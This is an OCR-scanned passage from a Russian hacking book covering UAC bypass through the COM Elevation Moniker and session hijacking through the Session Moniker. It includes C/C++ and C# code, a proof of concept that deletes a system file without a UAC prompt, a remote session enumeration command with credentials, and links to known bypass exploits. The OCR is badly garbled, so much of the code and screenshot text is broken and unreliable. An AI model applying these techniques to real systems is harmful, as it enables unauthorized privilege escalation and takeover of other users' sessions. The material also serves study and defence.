{ЗВ8004Е-4СЕ5-4681-ВАS6-785АБ7F9FООС}
(3f5FC7F9-9A51-4367-906З-A 120244FBEC7}
.,,
1
Elr;v11tion
lnpr~r;r32
{3Е6147С9-902В-488д-В 188-581 FFD874FВ2}
Рис.
15.5.
Папочка
Elevation
(,на~не не nрмс.1~0)
Connкtion м.n.,ger
0.00000001 {1}
O~ernRoot'Xo\systemЗ2\cmst~Ш11.d К, - 1 0 1
х
Глава
15.
Исследуем обход ИАС на примере
285
Elevation Moniker
Для автоматизации поиска классов СОМ, подходящих для использования с
tioп
Moniker,
Eleva-
я создал программу WinCOМFu:иer (bttps://gitbub.com/МzНmO/Win
COМFuzzer/ЫoЬ/main/FindElevationMonikers/source.cpp, рис.
Рис.
15.6.
Пример использования
15 .6).
WinCOMFuzzer
После чего получим список CLSID, которые можно
(bttps://gitbub.com/tyranid/oleviewdotnet) и проверить
в
отдать
OleViewDotNet
последнее значение: Auto
Approval . Если оно установлено в True, то при повышении уровня целостности через
Elevation Moniker не
появится окошко
UAC
(рис.
15.7).
Если эти требования соблюдены, то можно себе поаплодировать
класс СОМ, подходящий под
-
Elevation Moniker.
!t OleView . NЕТ v1 .1 О - Administrator - - 64Ьit
х
о
File Registry Object Security Processes Storage Help
_
R i
CLSIDs
anlua.dtr
Зe5fc7f9-9a51 ...
•
х
ст
Ф'
_ ,т~~val: !True
!EnaЫed:
lcon Reference.
@С .\
~
""о
.dl,
Virtual Se1Ver OЬjects:
Na11e CLSID
E naЫed
1/l
о
CLSIO Suppon8d 111М8С8S Арр1) S - - Elevalion
ф
;::\.
Ф'
Auto Approval
"'
>
<
Рис.
15.7.
Проверка значения EnaЫed и
Auto Approval
мы нашли
Часть
286
Использование
Elevation Moniker -
11.
Системное программирование для хакеров
Elevation Moniker
это стандартный моникер СОМ. Он отправляет запрос акти
вации на сервер СОМ с указанным уровнем повышения.
CLSID,
который нужно
активировать, надо прописать в строке моникера.
Elevation Moniker поддерживает следующие уровни повышения:
□
Adrninistrator -
это поле может использоваться только встроенной учетной записью
локального администратора
□
Highest -
(RID 500). Гарантированно повысится до High IL;
это поле используется всеми остальными учетками, в том числе чле
нами групп локальных администраторов. Здесь никаких гарантий нет.
Windows
попытается выдать максимально возможный уровень целостности для данного
аккаунта. Обычный аккаунт получит Medium
IL, учетка из группы ЛА - High IL.
Синтаксис моникера следующий:
Elevation:Adrninistrator!new:{guid)
Elevation:Highest!new:{guid)
Здесь guid -
CLSID
класса СОМ, установленный согласно требованиям, описан
ным выше.
Отмечу, что здесь используется специальное слово
new, которое позволяет при при
IClassFactory
IClassFactory: :Createinstance ().
вязке к моникеру получить экземпляр его класса. Внутри вызывается
с последующим вызовом
Помимо этого, есть возможность раздобыть указатель на фабрику, чтобы получить
инстанс вручную. В таком случае используется ключевое слово
clsid. Вы получите
объект класса, который реализует
IClassFactory. Затем вызывающая сторона дергает
Createinstance (), чтобы получить экземпляр объекта. Выглядит это так:
Elevation:Administrator!clsid:{guid)
В следующем примере кода показано, как использовать
Elevation Moniker.
Не за
будьте до этого в потоке вызвать
Coinitialize () !
НRESULT CoCreateinstanceAsAdmin(НWND
hwnd, REFCLSID rclsid, REFIID riid, _out void ** ppv)
BIND
ОРТSЗ Ьо;
WCНAR
wszCLSID[SO];
WCНAR
wszMonikerName[ЗOO];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[O]) );
hr = StringCchPrintf(wszMonikerName,
sizeof(wszMonikerName)/sizeof(wszMonikerName[O]), L"Elevation:Administrator!new:%s",
wszCLSID);
if (FAILED (hr))
return hr;
memset(&bo, О, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
НRESULT
Глава
15.
Исследуем обход ИАС на примере Elevatioп Moпiker
287
bo.dwClassContext = CLSCTX LOCAL SERVER;
return CoGetObject(wszMonikerName, &Ьо, riid, ppv);
В качестве
hwnd можно передавать NULL, СОМ в таком случае автоматически вызовет
GetActiveWindow(I, чтобы найти хендл окна, связанного с текущим потоком.
Примеры СОМ-объектов
ICMLuaUtil
Это один из самых популярных эксплойтов для обхода
Moniker,
UAC
с помощью
Elevation
РоС вы найдете на
GitHub: https://github.com/Oxlane/ВypassUAC. В коде
CLSID, который мы исследовали ранее, а также Elevation
инициализированный (рис. 15.8).
можно явно наблюдать
Moniker,
еще не
Рис.
15.8.
Используемые значения
В свою очередь, этот класс СОМ в интерфейсе ICMLuaUtil реализует метод ShellExec (1
(https ://gith ub.com/Oxlane/Вypass U А C/ЫoЬ/master/Вypass U А C/main.cpp#L54 ).
Из
его названия понятно, что он связан с исполнением команд. Запуск эксплойта с по
следующим
ShellExec ()
(рис.
инстанцированием
позволяют
класса
исполнить
СОМ
команды
через
в
Elevation Moniker
привилегированном
и
вызов
контексте
15.9).
Кстати,
этот
метод
использовал
шифровальщик
LockBit (https://amgedwageh.
medium.com/lockblt-ransomware-analysis-notes-93a542fc8511) для обхода UАС.
Часть
288
Рис .
15.9.
11.
Системное программирование дпя хакеров
Вызов метода
Глава
15.
Исследуем обход
UAC на
примере
Elevation
Мoniker
289
IFileOperation
Предлагаю обратиться
page_3375231.html).
к угечкам
WikiLeaks (https://wikileaks.org/ciav7pl/cms/
Из них нам стало известно о СОМ-объекте, который позволяет
выполнять файловые операции, не вызывая окошка
UAC.
В частности, РоС предос
тавляет возможность удаления произвольных файлов.
НRESULT CoCreatelnstanceAsAdmin(НWND
hwnd, REFCLSID rclsid, REFIID riid, void **ppv)
ВIND ОРТSЗ Ьо;
WCНAR
wszCLSID[S0];
WCНAR wszНon[З00];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
НRESULT hr = StringCchPrintfW(wszНon, sizeof(wszНon)/sizeof(wszMon[0]),
L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED (hr))
return hr;
memset(IJJo, О, sizeof(Ьo));
Ьo.cЬStruct = sizeof(Ьo);
Ьo.hwnd =
hwnd;
Ьo.dwClassContext = CLSCТX
return
CoGetObject(wszНon,
LOCAL SERVER;
&Ьо, riid, ppv);
void ElevatedDelete()
MessageВox(NULL,
"DELETING", "TESTING",
МВ_ОК);
// This is only availahe оп Vista and higher
hr = CoinitializeEx(NULL, COINIT_APARТМENТТНREADED I COINIT_DISAВLE_OLElDDE);
IFileOperation *pfo;
hr = CoCreateinstanceAsAdmin(NULL, CLSID_FileOperation, IID_PPV_ARGS(&pfo));
pfo->SetOperationFlags(FOF_NO_UI);
IShellltem *item = NULL;
hr = SHCreateitemFromParsingName(L"C:\\WINOOWS\\TEST.DLL", NULL, IID_PPV_ARGS(&item));
pfo->Deleteltem(item, NULL);
pfo->PerformOperations();
item->Release();
pfo->Release();
CoUninitialize();
НRESULT
Однако интерфейс (https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_
core/nn-shobjidl_core-ifileoperation) предоставляет методы и для копирования
(https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nfфайлов
shobjidl_core-ifileoperation-copyitem), и для создания (https://learn.microsoft.com/
ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-ifileoperation-newitem).
290
Часть
11.
Системное программирование для хакеров
Конечно, это не такой простой пример, ведь мы не можем напрямую исполнять
команды, у нас есть лишь возможности, связанные с файловыми операциями. Впро
чем, их можно совместить с
SymLinks Abuse (https://nixhacker.com/understandingand-exploiting-sym bolic-link-in-windows/), чтобы добиться привилегированного
шелла.
Заключение
Иногда сами разработчики закладывают в свои программы функции, похожие на
полноценный бэкдор. Нужно искать лазейки и обходы, и вы их, возможно, найдете.
Если хотите попрактиковаться в обходе
UAC
с помощью
Elevation Moniker,
ратите внимание на интерфейс IColoDataProxy, на него еще нет паков!
то об
16
ГЛАВА
Как работает кража сессии
через механизм СОМ
В
каждому пользователю при входе на устройство приписывается своя
Windows
сессия. Как угнать сессию пользователя, если жертва решила зайти на уже взло
манное устройство? В этой главе познакомимся еще с одним способом повышения
привилегий
через кражу сессий с помощью СОМ-классов.
-
Давным-давно, когда небо бьmо голубее, деревья зеленее, а чай слаще, я написал
главу
7
«Поставщик небезопасности. Как
Windows
раскрывает пароль пользова
теля». В ней мы подробно рассмотрели этап входа пользователя в систему, начиная
от приземления пятой точки за компьютер в офисе и заканчивая получением досту
па к рабочему столу.
Впрочем, в той главе я перечислил далеко не все способы воздействия на пользова
теля. Существует еще одна атака
-
кража сессии. И осуществим мы ее с помощью
СОМ!
Logon Sessions
Итак, начнем с небольшого ликбеза.
Logon Session
(она же просто сессия)
-
это
как куки браузера. Вполне понятная вещица, по которой система может однозначно
определить, какой пользователь к ней обращается.
сессии
Отличаются
IDentifier).
по
уникальному
номеру,
Собственно, это все, что нужно
имя
ему
Windows
пользователя.
typedef
ULONG
LONG
LUID,
struct _LUID
LowPart;
HighPart;
*PLUID;
□ LowPart □ HighPart -
содержит необходимое числовое значение;
обычно нолик.
LUID (Locally Unique
для идентификации сессии
292
Часть
11.
Системное программирование для хакеров
Изучиrь существующие Lоgоп-сессии можно через API LsaEnumerateLogonSessions ( J
(https://leam.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapilsaenumeratelogonsessions ).
Я достаточно подробно описывал эту функцию и ее использование в г:,аве
разнообразия перепишем на С# (рис.
Рис.
5.
Для
16.1 ).
16.1. Пример
работы программы
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
class Program
[Dlllrnport("Secur32.dll", SetLastError = false)]
private static extern int LsaEnшnerateLogonSessions(out ulong LogonSessionCount,
out IntPtr LogonSessionList);
[D11Import("Secur32.dll", SetLastError = false)]
private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr
ppLogonSessionData);
[Dlllmport ("Secur 32. dll") ]
private static extern uint LsaFreeReturnBuffer(IntPtr buffer);
Глава
16. Как работает кража сессии через механизм СОМ
[StructLayout(LayoutKind.Sequential))
private struct LSA_UNICODE_STRING
(
puЫic
puЫic
puЫic
ushort Length;
ushort MaximumLength;
IntPtr Buffer;
[StructLayout(LayoutKind.Sequential))
private struct SECURITY_LOGCN_SESSION DATA
puЬlic
puЬlic
puЬlic
puЬlic
puЬlic
puЬlic
puЬlic
puЬlic
puЬlic
uint Size;
LUID Logonld;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
uint LogonType;
uint Session;
IntPtr Sid;
long LogonTime;
[StructLayout(LayoutKind.Sequential))
private struct LUID
puЬlic
puЫic
uint LowPart;
int HighPart;
private static string GetString(LSA_UNICODE_STRING unicodeString)
return Marshal.PtrToStringUni(unicodeString.Buffer);
static void Main ()
var result = LsaEnumerateLogonSessions(out var count, out var luidPtr);
if (result != О)
Console.WriteLine("LsaEnumerateLogonSessions failed");
return;
var iter = luidPtr;
for (ulong i = О; i < count; i++)
result = LsaGetLogonSessionData(iter, out var sessionDataPtr);
293
Часть
294
if (result
==
//.
Системное программирование для хакеров
О)
var sessionData = Marshal.PtrToStructure<SECURITY LOGON_SESSION_DATA>(
sessionDataPtr ) ;
va r userName = GetSt ri ng(sessi onData. Use rName) ;
var domainName = GetSt ring (sessionData .LogonDomain ) ;
Console. Wri teLine ($"UserName : {userName)") ;
Console.WriteLine ($"LogonDomai n: {domainName) ") ;
Console. Wr iteLine( "---------------------------" ) ;
LsaFreeReturnBuffer (ses sionDataPtr ) ;
iter = IntPtr .Add(iter , Marshal .Si zeOf(typeof (LU ID ) )) ;
LsaFreeReturnBuffer (l uidPtr);
Видим стандартный импорт необходимых функций через Pinvoke с последующим
вызовом в определенном порядке.
Получить список сессий с устройства можно и удаленно (рис.
16.2),
здесь нам по
могут функции NetSessi onEnum () и Ne t r Sessi onEnum (1. Пример использования можете
посмотреть,
например,
на
rитхабе
trustedsec : https://github.com/trustedsec/CS-
Situational-Awareness-BOF/ЫoЬ/master/src/SA/get-netsession/entry.c.
Также можно воспользоваться инструментом
netview.py:
h ttps ://gith ub.com/fortra/im packet/ЫoЬ/master/exam ples/netview. ру.
roo t 6 k.i l i
~/-/ad/too\s/i■p.acket/exa■p\es
11 ,;ytt,(1· netviн.py CRINGE/Administrator:lolkekcheЫ23!
Impacket v0.10.1.dev1~202з0524.180921.8b3f9eff - Copyright 2022 Fortra
[*] Importing targets
[•] Getting machine ' s list from CRINGE
[*] Looking up users in domain CRINGE
[•] Got 2 machines
WIN10DEV: user WIN10DEV\Admin logged in LOCALLY
WIN10DEV: user CRINGE\WIN10DEV$ logged in LOCALLY
1
Рис.
16.2.
Получение списка сессий удаленно
Наконец, помочь смогут встроенные инструменты командной строки (рис.
qwinsta
#
то quser .exe
quser.exe /server:dc0l .of fice . corp
Е сли удале н но ,
16.3).
Глава
~'
295
16. Как работает кража сессии через механизм СОМ
Алминистратор:
Windows Ро·
о
Х
·х
Windows PowerShell
(С)
Корпорация Майкрософт
(Microsoft Corporation) .
Попробуйте новую кроссnnатформенную обоnочку
Все права защищены .
PowerShell
(https://aka . ms/pscoreб)
PS C: \Users\Michael> qwinsta
СЕАНС
IO
ПОЛЬЗОВАТЕЛЬ
services
>console
Michael
PS С: \Users\Michael> 1
Рис.
16.3.
СТАТУС
0
Диск
1
Активно
ТИП
Использование
УСТР- ВО
qwinsta
Конечно же, есть и другие варианты поиска сессий целевого пользователя: сюда
входят и Invoke-UserHunter от
PowerView,
и бесконечные аналоги на С#, все расписы
вать ни одной книги не хватит. Поэтому закончим с реконом и перейдем к собст
венно угону.
ПРИМЕЧАНИЕ
Если база у вас хромает, советую изучить труд Джареда Эткинсона на эту тему, в осо
бенности части
е8е81739) и
12 (https://posts.specterops.io/behavlor-vs-execution-modality-3318
13 (https://posts.specterops.io/part-13-415c4df7b635).
Session Moniker
Аналогично
Elevation Moniker (см. главу 15) в Windows существует моникер и для
- строковая репрезентация СОМ-объекта. Так вот, сес
сессий. Напомню, моникер
сионный моникер может использоваться для инстанцирования СОМ-класса в кон
кретной сессии.
Например, если у нас есть СОМ-класс, один из методов которого позволяет выпол
нять команды, то, инстанцировав этот СОМ-класс внутри сессии другого пользова
теля через
Session Moniker, мы захватим сессию этого пользователя.
Впрочем, не все так просто
-
в
Microsoft
наложили определенные ограничения, но
с ними познакомимся чуть позже. Сначала предлагаю разобраться с принципом
работы Session Moniker. И сделаем это с помощью слайдов
(https://www.linkedin.com/in/james-forshaw-ab833725).
Итак, есть несколько объектов (рис.
Есть сессия пользователя
Alice
Джеймса Форшоу
16.4).
(мы сидим в ней), есть сессия пользователя ВоЬ (ее
будем захватывать). Также есть
RPCSS -
специальная служба, отвечающая за
активацию СОМ-объектов.
Запрашиваем активацию СОМ-объекта в сессии Боба (рис.
16.5).
Часть
296
11.
Системное программирование для хакеров
RPCSS
Сессия
1"Alice"
Процесс "Alice"
Рис.
16.4.
Начальное состояние системы
RPCSS
Рис.
16.5.
Запрос активации
Глава
16. Как работает
кража сессии через механизм СОМ
297
RPCSS потому, что активацией СОМ-объектов
RPCSS видит, что используется Session Moniker, об
создает СОМ-объект внутри нее (рис. 16.6).
Этот запрос попадает в службу
управляет
SCM.
Затем служба
наруживает сессию Боба и
RPCSS
Процесс
"Alice"
Рис.
16.6. Активация
После успешной активации СОМ-объекта клиент (мы в сессии 1) получит указа
тель на интерфейс этого СОМ-объекта и сможет с ним взаимодействовать, напри
мер вызвать метод для исполнения команды (рис .
16.7).
Для использования сессионного моникера достаточно подготовить строку следую
щего вида:
"Session: [digits ) 1clsid: [cla ss id] "
Здесь digits -
это номер сессии, в которой надо запускать СОМ-класс, идентифи
цирующийся по CLSID из поля cl ass id.
С помощью этой функции можно создавать СОМ-объекты в чужой сессии.
ORD session , REFCLSID rcl sid, REFIID riid, void ** ppv)
CoCreatelnstancelnSession (DW
ОРТSЗ Ьо = { };
WCНAR wszCLS ID [50];
WCНAR ws zMonikerNarne [300 );
Stri ngFromGUID2 (r cl sid, wszCLSID, countof( wszCLSID) ) ;
StringCchPrintf (wszMonikerNarne , countof(wszMonikerNarne ),
L" session: %d!new: %s" , session , wszCLSID);
bo .cbStruct = sizeof(bo);
НRESULT
BIND
298
Часть
11.
Системное программирование для хакеров
bo.dwClassContext; CLSCTX_LOCAL_SERVER;
return CoGetObject (wszMonikerName, &Ьо, riid, ppv);
RPCSS
Связь с СОМ-объектом
Рис.
16.7.
Возврат указателя на интерфейс
Кажется, если бы кто угодно мог инстанцировать СОМ-классы через
Moniker
в чужих сессиях, это была бы брешь в обороне
зонтальное повышение привилегий (вертикальное
-
Windows.
Session
Получается гори
если есть сессия администра
тора).
Не все так плохо. Далеко не всегда получится инстанцировать СОМ-класс в сессии
целевого пользователя через
Session Moniker.
Нужно, чтобы целевой СОМ-класс
был зарегистрирован на запуск от лица интерактивного пользователя. Это значение
указывается
в
отдельном
ключе
us/windows/win32/com/runas).
реестра
пользователь, система или сервис, то
всех
объектов
удобно
с
RunAs (https:/Лearn.microsoft.com/en
Если значение пустое либо указан запустивший
Session Moniker
помощью
не сработает. Извлечь список
инструмента
Checker (https://github.com/
CICADA8-Research/RemoteKrbRelay/tree/main/Checkerv2.0). Он сгенерирует от
чет в формате CSV (или XLSX по желанию), после чего останется лишь применить
фильтр по необходимому полю (рис. 16.8).
Затем ограничения накладываются в следующем приоритете. Никаких официаль
ных названий им нет, либо мне они незнакомы.
l. SeDebug -
если у вас есть
SeDebug,
то можете смело захватывать чужие сессии,
например через IНхЕхес (https://github.com/CICADA8-Research/ПlxExec/tree/
main).
Глава
1б. Как работает кража сессии через механизм СОМ
IU•LHNV\<i~.,..,итe1S
l S--H '>80
S-1>
S 11
Ц[HTPПAIIE108ПP>tS--I \S J 1
Ц(HIPI\AКff08ПP;tS--I IS))
ЩHIPrtAIIПOIIПP,1,S--I IS))
Ц[НТ1'1\АКПО8ПРИ,S-1 IS) 1
д.:с"!оМоwеd
Sl10
&,:,i
1w:r"1>Allowed
NТ АUНЮR!ТУ\ИНПI S 1 \ 1
NT AV11IORl11'\01CilS--1 S 18
A<:ttot>Allowed
L«•IAtteи
NI AUТНORHYV,.OCN S-1 ~ 19
Асс•~
Loo!Ac«1&
loc.!Acc<'SI
ЩHТPПAIIE101ПP~,S--I IS21
kce~d
S--11S)l0211'Loc11Acc,u
Ac:c.uAlowed
Loc11A(ccfls. lt....01~ -.ctfl""""'-<I
IU•L11НV,д,,,,o.....:tpe S--1-S-J} !,<W
Locl!Acc•ii 1'1....а!еАс Aicc••~
NTAVTНOltlr,\l"'fftlSI !,-1
Loc11Acce1• Rerno11Acc l\c'81iA!lowed
NТ AUIHOfllТY\CИCТIS·I S-11
Loc,IAicC<'t•RemoteAtA<:c1,~
NTAVnЮfllfY\C.IIV)l(S-I-S6
Loc11A«11,1,
l«1!Ac«u
NT АUТНОR!ТУ\(Щ-ТI S· I S \8
Loc11Actnt
l69AOIAltBк ... ounJlwL•un<Localt.•uncti~mo1.-laun""<~
R.....01.tм,n °'Се"~
NTAUTНOIIП"t\C/!Ylt!S-1
{69ADtAfl88cq,ou,, fhe L•unc: Loc.1ll1""'h RemoteL11.>,,A.o;ce1IAl\owIO
NTAUIHOR!fY\CИCТIS-1
\69AO'IAl'IВ.c ... oun
fhe L....,..; Loc•l.......cti
\69Al)4Atl a.cqroun The
\69~18кqroull
1.81.>rк
loc1lt1u,,c:h R""'°tel'11n At.ce1.Jillowf'd
The Leun<' LO(•lt.....:h. A_el....,,, A.o;cno.Nl-d
t69Ю-Al.18..: ... ounfhel....-c.L0<.М.1unc:h ~1!'1.-Асс~
(36l).I061(o,e0p,.,V.flwL.....:toc1ll1Uf>Cflloc.1tlAc:t,_,.\!Acf.,~
\J62}106fCoreOi,uV.lhel.....cLiкelt8"nch.LocelA<:tн11IAcce,~rd
{"'°"'8811 Co<e~I¼
!...
ln1erк,..,.
tocalteund,
LocatLl.<11w1r,.i.tи1-.Nloloed
l)Ц8J!(o<eShfol\tlntia<Klнtloc.ll......ch L 0<"-1Ac.!1,,.t1Atte1sNlo,t,ed
!6,t~(C0<il'Shelll-ln11nк1rwloull.1unc:h.toca!A(1,w,11Acc~
!640438l!Co,~1Н-1n1e,1c1..,.toиlt1unchLoc.iA<;1"'111Acc~
(640Qlll(o,eSl',e,/ll-ln11!<KIML«11taunct1Loc.a1Ac-1...,,1A c c ~
f92'l~~ottln1e<К\1Wtoc.iu..ncti llt'fnO!"--Aic:<~
{9:l-40C!>6'""'1NIК!Ulnte,.,;t,..toc811..aundl
\91-40CS6'Mhentoc11nte1кtiwtocalL1Ufl(h
Remot-t...,..Aic:cfl~ed
lte.norelaun..,ce•IAllowed
[9).WCS6t~ntiulnte,к1м1.o<A1t""""hLoc.U...1ioнttAtte1""81owf'd
(9:IЧICS6o~1ln'lerк1.,.ш.e,-
f')1•006< AIJd,t'МJC1
lllte<"КI.,. U'И'<
{CJAJ4J",,ct~,,,Jhetau"'"L«1IL1uno;flR<lmotl!'l.... n A c c t ~
{C)AJ.4)5.'ct~ Тlмt..,"'t«1ll,vncl\ ltemotet..unAccc~
\C~ЭYrn.......,. TheL8Ul>e: t«мlauncll lte-inotfl...,,.Aicce,tAlowl'd
L«•lk.:••• ltemoтeA<:Acc"oAllowed
IU1lJ N\AA>o""'°''""s I S-J1!.<W
Ace11tAlowed
Loc11Accfl1
NT AUtНORln\ИHf[I S I S-1
NI ЩTНOftlN\O!CTI S-1 S 11
Loc11Acceu
NТ ЩТЖ)RIТУ\SЕL~ \ 1 S 10
Ас-с1~
Lос,!Асии
ЩНТРI\АКfТОIПР,4,S-1-IS 21
А«~
S.-I-IS-)1021 l'loc11A«eu
\CЭ,t.J•OYcn-
r,._t.....ct«1llauncll.L«IIN1'1Y111Aic<11>Allow.-l
{C1(9756f()1t1(.cci,11ntlfKf...,.Lou,ll•unc:hL«IIAcf1v1fll\c'81sAllowed
{C1[!17!>6f~tlf•ch1ln1er1ctMlou,IL1unth.Loca!A(1lv111Ae:c11sAIIQwed
{C1E91S6f 0 111EWII IMetК1"-' Louk1unc:h. L«IIAcllvlll -.ctnaAl!owed
.
~
"'
• •
.
\1 IS-11
s-110
S-1
NTAUTHORIТY\ИSI
NTAUT~IТY\CS-!-S-18
NТAUTHOfUТ'l\l.·S.-1
s-1g
S l 1S1-I
S!·IS-11011
I-S-18
IUttТIN\.'8,,,oм"мS-1 !,-)2 S,U
ЦIНТРПАКП08
16.8.
!Wll!>IБ6· 196}7Q8:µS21>16)TTq1
lS6ll9707• 1 1.
NfAUТЖ>fllll'\CS
1924006"•16"'6-11(8-9
j92IOCS6116A6-12E l -919
NTAUT~IТY\SS!SIO
!92IOC'S61 16A6-12El -919
NTAUHIOltJТ"t\(s-1 S-6
j921Q06116A6-0EI 919
\.l[Нfl>П.l,kH08 $.-1 15·1·1
1616-•lfl 919
196J70IJIS-;j914006I
1S021}Sl66
J-1014
S.-1-15
/H8A16f07109-IN89C
NТAIJТt+ORIТ'l'\CS 1-5 18
!HIA16JD 1709-IМl-tc
NТAUTНORITY\SS I -S 10
NТ ALIТIIOAITl'\ИS 1 !,~
tH8A tЫ"D-7109-4Af8
{J21Al6f'O 1'09 WI
NТAUП-IOIUТY\SS-IS-10
NТAUfНORIMCS- I S-IB
U1НТРПМ.ЕТО8
,.
S-1
.
Н-1- 1
• •
1
1
"
Поиск нужных объектов
CVE-2024-38100 (FakePotato) -
Патч от
Ц[НТJ>ПАКПОI
lke
lf "
Рис.
2.
299
если у вас нет прав локального админа,
вы не сможете инстанцировать интерактивные (поле RunAs равно The Inte r acti ve
user ) СОМ-объекты внутри процесса explorer.exe. Фактически здесь просто ис
правил и
Access Permissions.
Если у вас нет этих прав на процесс , то получить
доступ к работающим внутри него СОМ-объектам вы не сможете . Если
-
Щ OleView .NЕТ v1.11 - Administrator - - 64b,t
Access
х
о
File Registry Object Security Processes Storage Help
Registrv Properties У СОМ Procnses
/
r GlassWire Access r OutlineService Access
1 Моdе: lCon,!!i~
Fi ter: 11
998е
~ 9924
.,о
'
1
1
'
1
1
1 Г
1
1
1
--о
..,о
--о
-о
.,о
t
IPID:
1
а
ееееt084 - 26С4-26С8 - 016А - 878ЕА7OЕб5Е2
80888885 • 26С.4- 26С8- бд00 - А9F А7СА386OВ
IPID : ееееВ48б - 26С4- FFFF - А839 - f 166751(2.484
IPID: ееее9887 - 26С4- 26С8- 6649 - б9FСВ832.АВС7
4112
4100
2.624
4000
- GWCt ] s ...v - NT
LMS - NT
~
а
:!
ПО:
tunknOt«1
IID: IPrlvDragorop
ПD: tunknown
IID: IUnknown
АUТНОR IТУ \СИСТЕМА
АUПЮRПУ\СИСТЕНА
- OUtlineService - NT АUТНОRПУ \ СИСТЕМА
vмware - WINPC \ M1chael
- V11Ware - un1ty- helper - WINPC \ Michael
Showing 7 of 7 entries
.::
Рис .
16.9.
6о
J
~ ~
IIO: IRundown
IPID : 00008808- 2бСА-2бС8 - 6ВСF -A73BBED2A9O1
IPID: 09000481- 26C4-FFFF - 4F14-8AFFF15Cд300 - ПО: JRundown
IIO: IPr!vOragDrop
IPID: 60008402- 2бС4- 2бСВ - ЕВ37 - 2АВ8А1805АВВ
ПО: IUnknown
IPID: еее95403 - 26СА- FFF F - 5Е4С - CDS533EB601f
2664
~
х
- dllhost - WINPC\14ichat!l
- GlassWir@ - WINPC\Hicha@l
°" IPIO:
~
•
1
Список процессов с работающими СОМ - объектами
Часть
300
11.
Системное программирование для хакеров
Peпnissions не определены для конкретного
AppID,
то используются дефолтные.
Просмотреть права можно с помощью инструмента
github.com/tyranid/oleviewdotnet,
Патч от ЕОР
3.
Session Moniker.
рис.
OleViewDotNet (https://
16.9-16.11 ).
Возможности сессионных моникеров известны
уже давно, но их эксплуатация не особенно популярна. Как только безопасники
-
Щ OleView .NП v1 .11 - Administrator - - 64Ьit
File
V
Regist,y
OЬject
х
о
Security Processes Storage Help
Procns 7192 Properties
i"
Desktop Undo Manager
i"
•
CLSID_frayDesktopBand .. У CLSID_TrayDesktopBand У 0.SIDs У ActXPncy.dll 1
lf.
х
о
Process Registered Cklsses
о:
Nome
VТoble
228826AF-02E 1-4226·A9E(}-99A855E455A6
lmmersiveShellBroker
windows.immersiveshell.serviceprovider+Ox852C8 MULTIPLEUSE STP
25DEAD04-1 EAC-4 9 1
ClSID
CLSID_ TroyNotify
Explore...0029198
MUL ТIPLEUSE STP
329118ОЕС-22Э<Н 768-9050-A2DCf 5171C6F
CLSIO_knmersivвSp&eshScreen
twinui+Ox43A880
MUL ТJPLEUSE STP
ЗЕЕFЗО1 F·В596-4СОВ-ВD92-01 ЗВЕАFСЕ793
DesklOp Undo М.noge,
SHELLЗ2+0x596E40
MUL ТIPLEUSE STP
561DF000-72E8-46F1-3DOA-559706Вc6578
CLSIO_ Т rayAppkjentityResolver
E,q,lon,r+0029198
MULTIPLEUSE STP
1 -9EЗA·ADOMAВ560FD
682 1 590!КЗ2 1-47СА· ВЗF1 ·ЗОЕЗ6В2ЕСВВ9
CLSID _ DesktopE,q,lo.-e.НO.t
expIOre rframe+Ox 1 C69ВO
MULTIPLEUSE
700548F5-9393-4D17-112A6-E9069FA83185
70d548f5-9393-4d 1 7-92о6-<190Ь91"83 185
pnidui-+a,c,471CO
MULTJPLEUSE ST~
а
~
;;
~
STP
7СО2 1 С1(}-Е914-4А5З·ВDСВ·З 15СЕВFЗ2В49
CLSIO_ Т ray Т oastActivcitor
Explorer+Qx329198
МUL ТJPLEU SE
8647ED52· EBEF-4C45-A864-D 1CC8465FEDE
8Ь47ed52-e8ef-4c45-o884-<1 1 cc84651-
SHELL32+0x59C678
MUL ТIPLEUSE SТР
9511636Э6· 18В6-4DЗЕ-8ЕС2-<:DВ4352318ЕВ
95Ь6З696-18Ь6-4<13е-Вес2~Ь435231 ВеЬ
Explorer+Ox329198
MUL TIPLEUSE STA
STP
9М460W-ЗСЕ(}-458д-АЗ5+7 1 5610А075Е6
Sync lntegrction Me1nager
SHELLЗ2•0x5B1458
MULTIPLEUSE
9ВАО5972-f'6А8- 11СF-А442-оод0С90А8FЗ9
Shel1Windows
expk>rerframe+Ox 1C51E8
MULTIPLEUSE STP
AD20F6D7·28B9-4A0 5·86ВЗ·D6AЗE149B28D
CLSIO_PenWorks~eOiscover6roker
NONP\tlyingSessionМaмger CJass
twinui_pcshe/l-tQx4FOCF0
npsm+002B20
MULTIPLEUSE STP
ВСВВ9860--С012-4АD7·А9~ЕЗЗ7АЕ6АВА5
MULTIPLEUSE
sт,
C2CF3 11(}-460E-4 FC 1 -В900-&.1COC9CC4BD
Desktop
SНELL32+0x592608
MUL ТIPLEUSE
sт,
MUL ТJPLEUSE
sт,
WaПpaper
.,,~
др.
Reg Ftllgs
sт,
C5364598-5COE-4DFA--8F07-ЗO<AD4E04E87
с5ЗЬ4598- 5с0е-4dfо ·Ы07-304оd4е04е87
pnidui+Ox47170
DE7DЗD65-5454-4EF5-951В-776739DA839f
LockScreen CaU Brokвr
twinui+Ox444510
MUL ТIPLEUSE
sт,
E6442437~F52-94DD-2CFED267EFВ9
ClSID_ Tп,yDesktop&nd
Explorer+0029198
MULTIPLEUSE
sт,
F60ADOAO--E5E1 -45C В-В51A-E1589f882934
ffi0od0o(}-e5e 1-45сЬ-Ь510-<> 15Ь9f8Ь2934
Explorer+Qx329198
MULTIPLEUSE
sт,
<•
)
..
Рис.
16.10.
Список работающих объектов внутри процесса
-
Щ OleView .NП v1.11 - Administrator - - 64Ьit
о
х
File Registry Object Security Processes Storage Help
/
CLSID_Tray0esktop8and ..
i"
CLSID_Tray0esktop8and
Owne,;
6Ult.ТIN\Адммнмсtроторы
Group:
ВUIL ТIN\Адммнмстраторы
lntegrity:
N/A
i" CLSIDs V ActXPrxy.dll
\-' СОМ Processes у OutlineService Access 1
•
lf.
х
о
